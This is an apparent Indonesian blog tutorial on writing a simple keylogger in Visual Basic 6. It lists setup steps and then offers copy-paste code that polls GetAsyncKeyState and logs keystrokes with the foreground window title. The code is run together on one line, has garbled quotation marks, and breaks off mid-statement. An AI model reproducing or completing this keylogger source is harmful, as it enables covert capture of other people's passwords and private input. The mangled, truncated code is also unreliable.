Membuat KeyLogger dengan VB (Visual Basic)

Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan...

1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
2. Buka program Visual Basic
   
3. New Project Standard EXE
4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
   
5. Copas seluruh Code di bawah ini :
Private Declare Function GetAsyncKeyState Lib “user32&#8243; (ByVal vKey As Long) As Integer Private Declare Function GetForegroundWindow Lib “user32&#8243; () As Long Private Declare Function GetWindowText Lib “user32&#8243; Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long Private hForegroundWnd As Long Private backs As BooleanPrivate Sub Command1_Click() Timer1.Enabled = True End SubPrivate Sub Command2_Click() Timer1.Enabled = False End SubPrivate Sub Command3_Click() backs = True End SubPrivate Sub Command4_Click() backs = False End SubPrivate Sub Form_Load() backs = True End SubPrivate Sub Label1_Click() End Sub Private Sub Label4_Click() End Sub Private Sub Label6_Click() Timer1.Enabled = True End Sub Private Sub Label7_Click() Timer1.Enabled = False End Sub Private Sub Label8_Click() backs = True End Sub Private Sub Label9_Click() backs = False End Sub Private Sub Text1_Change() Text1.SelStart = 0 Text1.SelLength = Len(Text1.Text) End Sub Private Sub Timer1_Timer() Dim x, x2, i, t As Integer Dim win As Long Dim Title As String * 1000 win = GetForegroundWindow() If (win = hForegroundWnd) Then GoTo Keylogger Else hForegroundWnd = GetForegroundWindow() Title = “” GetWindowText hForegroundWnd, Title, 1000 Select Case Asc(Title) Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22,
